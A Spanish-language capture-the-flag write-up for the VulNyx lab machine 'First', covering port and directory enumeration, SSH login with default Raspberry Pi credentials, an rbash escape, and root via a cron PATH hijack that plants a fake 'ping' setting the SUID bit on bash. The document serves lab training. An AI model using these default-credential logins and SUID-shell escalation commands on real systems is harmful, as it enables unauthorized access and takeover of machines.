🔵 NYX - First

#vulnyx #nyx #linux #raspberry #rbash #cron #cron hijacking

Noviembre 13, 2023 by Miguel R. (d4t4s3c)

Information

First es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.

  • Acceso inicial: Se indentifica un sistema operativo Raspberry, accedo por SSH con credenciales por default.
  • Escalada de privilegios: Existe una tarea cron y mediante un hijacking del path me convierto en usuario root


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 15:40 CET
Nmap scan report for 192.168.1.60
Host is up (0.000081s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
4369/tcp open  epmd
 nmap -sVC -p22,80,4369 192.168.1.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 15:41 CET
Nmap scan report for 192.168.1.60
Host is up (0.00033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 24:83:97:49:96:11:7c:7a:54:00:17:3b:0c:f6:e1:54 (RSA)
|   256 83:cc:d0:72:41:48:fc:c4:ba:46:a1:0e:70:50:52:71 (ECDSA)
|_  256 a0:37:99:32:78:17:69:4f:1d:ac:75:1e:ba:19:58:45 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|_  nodes: 

Shell (pi)

80/TCP (HTTP)

Directory Brute Force
 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.60 -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.60
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tasklist             (Status: 200) [Size: 137]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================

En la ruta /tasklist hay un listado de tareas y encontré una interesante que dice: Update Raspberry

Busco credenciales por default de Raspberry y encuentro: pi:raspberry

22/TCP (SSH)

Accedo al sistema como usuario pi con las credenciales obtenidas

 ssh pi@192.168.1.60
pi@192.168.1.60's password: 

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberry:~ $ id ; hostname
uid=1000(pi) gid=1000(pi) grupos=1000(pi)
raspberry
Restricted Bash (rbash)

Al intentar ejecutar comandos veo que me encuentro en un contexto restringido en una rbash

pi@raspberry:~ $ cd
-rbash: cd: restringido
Bypass Restricted Bash (rbash)

Consigo escapar de la rbash mediante SSH

 ssh pi@192.168.1.60 -t 'bash --noprofile'
pi@192.168.1.60's password: 
pi@raspberry:~ $ cd
pi@raspberry:~ $

Privilege Escalation

Enumeration

Cron

Existe una tarea cron que se inicia cada minuto por el usuario root, dicha tarea ejecuta un ping al dominio raspberrypi.com y el binario es llamado de forma relativa en lugar de forma absoluta por lo que es vulnerable a ataques de tipo Path Hijacking

pi@raspberry:~ $ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root ping -c1 raspberrypi.com
Cron Hijacking

En la variable PATH se puede ver el orden de prioridad que el binario ping realizará al ser llamado de forma relativa, antes de ejecutarse desde /usr/bin pasa por /var/www/html ruta la cual yo dispongo de permisos de escritura

pi@raspberry:~ $ which ping
/usr/bin/ping

pi@raspberry:~ $ grep "PATH" /etc/crontab |sed 's/PATH=//; s/:/\n/g'
/usr/local/sbin
/usr/local/bin
/sbin
/var/www/html
/bin
/usr/sbin
/usr/bin

pi@raspberry:~ $ ls -l /var/www/
total 4
drwxrwxrwx 2 www-data www-data 4096 ene  7  2024 html

Creo un binario llamado ping en /var/www/html que le asigne permisos SUID/4755 a /usr/bin/bash para escalar privilegios

pi@raspberry:~ $ which bash chmod
/usr/bin/bash
/usr/bin/chmod
pi@raspberry:~ $ ls -l /usr/bin/bash
-rwxr-xr-x 1 root root 1367848 mar 27  2022 /usr/bin/bash
pi@raspberry:~ $ echo '/usr/bin/chmod 4755 /usr/bin/bash' >/var/www/html/ping
pi@raspberry:~ $ /usr/bin/chmod +x /var/www/html/ping

Pasado unos segundos, ya dispongo de permisos SUID/4755 en /usr/bin/bash y me convierto en usuario root

pi@raspberry:~ $ ls -l /bin/bash
-rwsr-xr-x 1 root root 1367848 mar 27  2022 /bin/bash
pi@raspberry:~ $ /bin/bash -pi
bash-5.1# id ; hostname
uid=1000(pi) gid=1000(pi) euid=0(root) grupos=1000(pi)
raspberry

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

bash-5.1# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
09a8a***************************
a4a7e***************************

Hasta aquí la resolución de la máquina First.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""